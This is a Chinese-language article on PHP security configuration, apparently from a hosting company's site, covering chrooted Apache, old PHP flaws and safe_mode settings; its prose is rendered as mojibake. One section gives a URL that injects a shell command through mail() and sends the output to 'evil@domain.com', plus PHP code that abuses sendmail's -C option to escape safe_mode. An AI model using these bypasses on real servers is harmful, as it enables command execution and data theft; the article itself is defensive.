ÊÖ»úÕ¾
ÍøÍ¨·ÖÕ¾
µçÐÅÖ÷Õ¾
ÃÜ¡¡Âë:
Óû§Ãû£º
µ±Ç°Î»Öà : Ö÷Ò³>ÍøÂç±à³Ì>Php±à³Ì>Áбí

PHP°²È«ÅäÖÃ

À´Ô´£º»¥ÁªÍø ×÷Õߣºwest263.com ʱ¼ä£º2008-02-23
Î÷²¿ÊýÂë-È«¹úÐéÄâÖ÷»ú10Ç¿£¡40ÓàÏîÐéÄâÖ÷»ú¹ÜÀí¹¦ÄÜ,È«¹úÁìÏÈ!Ë«Ïß¶àÏßÐéÄâÖ÷»úÄϱ±·ÃÎʳ©Í¨ÎÞ×è!Ãâ·ÑÔùËÍÆóÒµÓʾÖ,.CNÓòÃû,×ÔÖú½¨Õ¾480ÔªÆð,Ãâ·ÑÊÔÓÃ7Ìì,ÂúÒâÔÙ¸¶¿î! P4Ö÷»ú×âÓÃ799Ôª/ÔÂ.Ô¸¶Ãâѹ½ð!

Ò»¡¢Web·þÎñÆ÷°²È«

PHPÆäʵ²»¹ýÊÇWeb·þÎñÆ÷µÄÒ»¸öÄ£¿é¹¦ÄÜ£¬ËùÒÔÊ×ÏÈÒª±£Ö¤Web·þÎñÆ÷µÄ°²È«¡£µ±È»Web·þÎñÆ÷Òª°²È«ÓÖ±ØÐëÊÇÏȱ£Ö¤ÏµÍ³°²È«£¬ÕâÑù¾Í³¶Ô¶ÁË£¬ÎÞÇîÎÞ¾¡¡£PHP¿ÉÒԺ͸÷ÖÖWeb·þÎñÆ÷½áºÏ£¬ÕâÀïÒ²Ö»ÌÖÂÛApache¡£·Ç³£½¨ÒéÒÔchroot·½Ê½°²×°Æô¶¯Apache£¬ÕâÑù¼´Ê¹ApacheºÍPHP¼°Æä½Å±¾³öÏÖ©¶´£¬ÊÜÓ°ÏìµÄÒ²Ö»ÓÐÕâ¸ö½ûïÀµÄϵͳ£¬²»»áΣº¦Êµ¼Êϵͳ¡£µ«ÊÇʹÓÃchrootµÄApacheºó£¬¸øÓ¦ÓÃÒ²»á´øÀ´Ò»¶¨µÄÂé·³£¬±ÈÈçÁ¬½Ómysqlʱ±ØÐëÓÃ127.0.0.1µØÖ·Ê¹ÓÃtcpÁ¬½Ó¶ø²»ÄÜÓÃlocalhostʵÏÖsocketÁ¬½Ó£¬ÕâÔÚЧÂÊÉÏ»áÉÔ΢²îÒ»µã¡£»¹ÓÐmailº¯Êý·¢ËÍÓʼþÒ²ÊǸöÎÊÌ⣬ÒòΪphp.iniÀïµÄ£º

[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com

¶¼ÊÇÕë¶ÔWin32ƽ̨£¬ËùÒÔÐèÒªÔÚchroot»·¾³Ïµ÷ÕûºÃsendmail¡£

¶þ¡¢PHP±¾ÉíÎÊÌâ

1¡¢Ô¶³ÌÒç³ö

PHP-4.1.2ÒÔϵÄËùÓа汾¶¼´æÔÚÎļþÉÏ´«Ô¶³Ì»º³åÇøÒç³ö©¶´£¬¶øÇÒ¹¥»÷³ÌÐòÒѾ­¹ã·ºÁ÷´«£¬³É¹¦Âʷdz£¸ß.

2¡¢Ô¶³Ì¾Ü¾ø·þÎñ

PHP-4.2.0ºÍPHP-4.2.1´æÔÚPHP multipart/form-data POSTÇëÇó´¦ÀíÔ¶³Ì©¶´£¬ËäÈ»²»ÄÜ»ñµÃ±¾µØÓû§È¨ÏÞ£¬µ«ÊÇÒ²ÄÜÔì³É¾Ü¾ø·þÎñ¡£

3¡¢safe_modeÈÆ¹ý©¶´

»¹ÓÐPHP-4.2.2ÒÔϵ½PHP-4.0.5°æ±¾¶¼´æÔÚPHP mailº¯ÊýÈÆ¹ýsafe_modeÏÞÖÆÖ´ÐÐÃüÁî©¶´£¬4.0.5°æ±¾¿ªÊ¼mailº¯ÊýÔö¼ÓÁ˵ÚÎå¸ö²ÎÊý£¬ÓÉÓÚÉè¼ÆÕß¿¼ÂDz»ÖÜ¿ÉÒÔÍ»ÆÆsafe_modeµÄÏÞÖÆÖ´ÐÐÃüÁî¡£ÆäÖÐ4.0.5°æ±¾Í»ÆÆ·Ç³£¼òµ¥£¬Ö»ÐèÓ÷ֺŸô¿ªºóÃæ¼ÓshellÃüÁî¾Í¿ÉÒÔÁË£¬±ÈÈç´æÔÚPHP½Å±¾evil.php£º


Ö´ÐÐÈçϵÄURL£º

http://foo.com/evil.php?bar=;/usr/bin/id¡¡mail evil@domain.com

Õ⽫idÖ´ÐеĽá¹û·¢Ë͸øevil@domain.com¡£

¶ÔÓÚ4.0.6ÖÁ4.2.2µÄPHPÍ»ÆÆsafe_modeÏÞÖÆÆäʵÊÇÀûÓÃÁËsendmailµÄ-C²ÎÊý£¬ËùÒÔϵͳ±ØÐëÊÇʹÓÃsendmail¡£ÈçϵĴúÂëÄܹ»Í»ÆÆsafe_modeÏÞÖÆÖ´ÐÐÃüÁ

#×¢Ò⣬ÏÂÃæÕâÁ½¸ö±ØÐëÊDz»´æÔڵģ¬
»òÕßËüÃǵÄÊôÖ÷ºÍ±¾½Å±¾µÄÊôÖ÷ÊÇÒ»Ñù
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody", "", "", "", "-C$cf");
?>

»¹ÊÇʹÓÃÒÔÉÏÓÐÎÊÌâ°æ±¾PHPµÄÓû§Ò»¶¨Òª¼°Ê±Éý¼¶µ½×îа汾£¬ÕâÑù²ÅÄÜÏû³ý»ù±¾µÄ°²È«ÎÊÌâ¡£

Èý¡¢PHP±¾ÉíµÄ°²È«ÅäÖÃ
'knowsky.com
PHPµÄÅäÖ÷dz£Áé»î£¬¿ÉÒÔͨ¹ýphp.ini, httpd.conf, .htaccessÎļþ£¨¸ÃĿ¼±ØÐëÉèÖÃÁËAllowOverride All»òOptions£©½øÐÐÉèÖ㬻¹¿ÉÒÔÔڽű¾³ÌÐòÀïʹÓÃini_set()¼°ÆäËûµÄÌØ¶¨µÄº¯Êý½øÐÐÉèÖá£Í¨¹ýphpinfo()ºÍget_cfg_var()º¯Êý¿ÉÒԵõ½ÅäÖÃÑ¡ÏîµÄ¸÷¸öÖµ¡£

Èç¹ûÅäÖÃÑ¡ÏîÊÇΨһPHP_INI_SYSTEMÊôÐԵ쬱ØÐëͨ¹ýphp.iniºÍhttpd.confÀ´Ð޸ģ¬ËüÃÇÐ޸ĵÄÊÇPHPµÄMasterÖµ£¬µ«ÐÞ¸ÄÖ®ºó±ØÐëÖØÆôapache²ÅÄÜÉúЧ¡£ÆäÖÐphp.iniÉèÖõÄÑ¡ÏîÊǶÔWeb·þÎñÆ÷ËùÓнű¾ÉúЧ£¬httpd.confÀïÉèÖõÄÑ¡ÏîÊǶԸö¨ÒåµÄĿ¼ÏÂËùÓнű¾ÉúЧ¡£

Èç¹û»¹ÓÐÆäËûµÄPHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALLÊôÐÔµÄÑ¡Ïî¾Í¿ÉÒÔʹÓÃ.htaccessÎļþÉèÖã¬Ò²¿ÉÒÔͨ¹ýÔڽű¾³ÌÐò×ÔÉíÓÃini_set()º¯ÊýÉ趨£¬ËüÃÇÐ޸ĵÄÊÇLocalÖµ£¬¸ÄÁËÒÔºóÂíÉÏÉúЧ¡£µ«ÊÇ.htaccessÖ»¶Ôµ±Ç°Ä¿Â¼µÄ½Å±¾³ÌÐòÉúЧ£¬ini_set()º¯ÊýÖ»¶Ô¸Ã½Å±¾³ÌÐòÉèÖÃini_set()º¯ÊýÒÔºóµÄ´úÂëÉúЧ¡£¸÷¸ö°æ±¾µÄÑ¡ÏîÊôÐÔ¿ÉÄܲ»¾¡Ïàͬ£¬¿ÉÒÔÓÃÈçÏÂÃüÁî²éÕÒµ±Ç°Ô´´úÂëµÄmain.cÎļþµÃµ½ËùÓеÄÑ¡ÏÒÔ¼°ËüµÄÊôÐÔ£º

# grep PHP_INI_ /PHP_SRC/main/main.c

ÔÚÌÖÂÛPHP°²È«ÅäÖÃ֮ǰ£¬Ó¦¸ÃºÃºÃÁ˽âPHPµÄsafe_modeģʽ¡£

1¡¢safe_mode

safe_modeÊÇΨһPHP_INI_SYSTEMÊôÐÔ£¬±ØÐëͨ¹ýphp.ini»òhttpd.confÀ´ÉèÖá£ÒªÆôÓÃsafe_mode£¬Ö»ÐèÐÞ¸Äphp.ini£º

safe_mode = On
»òÕßÐÞ¸Ähttpd.conf£¬¶¨ÒåĿ¼£º

Options FollowSymLinks
php_admin_value safe_mode 1


ÖØÆôapacheºósafe_mode¾ÍÉúЧÁË¡£Æô¶¯safe_mode£¬»á¶ÔÐí¶àPHPº¯Êý½øÐÐÏÞÖÆ£¬ÌرðÊǺÍϵͳÏà¹ØµÄÎļþ´ò¿ª¡¢ÃüÁîÖ´ÐеȺ¯Êý¡£

ËùÓвÙ×÷ÎļþµÄº¯Êý½«Ö»ÄܲÙ×÷Óë½Å±¾UIDÏàͬµÄÎļþ£¬±ÈÈçtest.php½Å±¾µÄÄÚÈÝΪ£º


¼¸¸öÎļþµÄÊôÐÔÈçÏ£º
# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php

ÔÚä¯ÀÀÆ÷ÇëÇótest.php»áÌáʾÈçϵĴíÎóÐÅÏ¢£º

Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1

Èç¹û±»²Ù×÷ÎļþËùÔÚĿ¼µÄUIDºÍ½Å±¾UIDÒ»Ö£¬ÄÇô¸ÃÎļþµÄUID¼´Ê¹ºÍ½Å±¾²»Í¬Ò²¿ÉÒÔ·ÃÎʵ쬲»ÖªÕâÊÇ·ñÊÇPHPµÄÒ»¸ö©¶´»¹ÊÇÁíÓÐÒþÇé¡£ËùÒÔphp½Å±¾ÊôÖ÷Õâ¸öÓû§×îºÃ¾ÍÖ»×÷Õâ¸öÓÃ;£¬¾ø¶Ô½ûֹʹÓÃroot×öΪphp½Å±¾µÄÊôÖ÷£¬ÕâÑù¾Í´ï²»µ½safe_modeµÄЧ¹ûÁË¡£

Èç¹ûÏ뽫Æä·Å¿íµ½GID±È½Ï£¬Ôò´ò¿ª safe_mode_gid¿ÉÒÔ¿¼ÂÇÖ»±È½ÏÎļþµÄGID£¬¿ÉÒÔÉèÖÃÈçÏÂÑ¡Ï

safe_mode_gid = On

ÉèÖÃÁËsafe_modeÒÔºó£¬ËùÓÐÃüÁîÖ´Ðеĺ¯Êý½«±»ÏÞÖÆÖ»ÄÜÖ´ÐÐphp.iniÀïsafe_mode_exec_dirÖ¸¶¨Ä¿Â¼ÀïµÄ³ÌÐò£¬¶øÇÒshell_exec¡¢`ls -l`ÕâÖÖÖ´ÐÐÃüÁîµÄ·½Ê½»á±»½ûÖ¹¡£Èç¹ûȷʵÐèÒªµ÷ÓÃÆäËü³ÌÐò£¬¿ÉÒÔÔÚphp.ini×öÈçÏÂÉèÖãº

safe_mode_exec_dir = /usr/local/php/exec

È»ºó¿½±´³ÌÐòµ½¸ÃĿ¼£¬ÄÇôphp½Å±¾¾Í¿ÉÒÔÓÃsystemµÈº¯ÊýÀ´Ö´ÐиóÌÐò¡£¶øÇÒ¸ÃĿ¼ÀïµÄshell½Å±¾»¹ÊÇ¿ÉÒÔµ÷ÓÃÆäËüĿ¼ÀïµÄϵͳÃüÁî¡£

safe_mode_include_dir string

µ±´Ó´ËĿ¼¼°Æä×ÓĿ¼£¨Ä¿Â¼±ØÐëÔÚ include_path ÖлòÕßÓÃÍêÕû·¾¶À´°üº¬£©°üº¬ÎļþʱԽ¹ý UID/GID ¼ì²é¡£

ÎÄÕÂÕûÀí£ºÎ÷²¿ÊýÂë--רҵÌṩÓòÃû×¢²á¡¢ÐéÄâÖ÷»ú·þÎñ
http://www.west263.com
ÒÔÉÏÐÅÏ¢ÓëÎÄÕÂÕýÎÄÊDz»¿É·Ö¸îµÄÒ»²¿·Ö,Èç¹ûÄúÒª×ªÔØ±¾ÎÄÕÂ,Çë±£ÁôÒÔÉÏÐÅÏ¢£¬Ð»Ð»!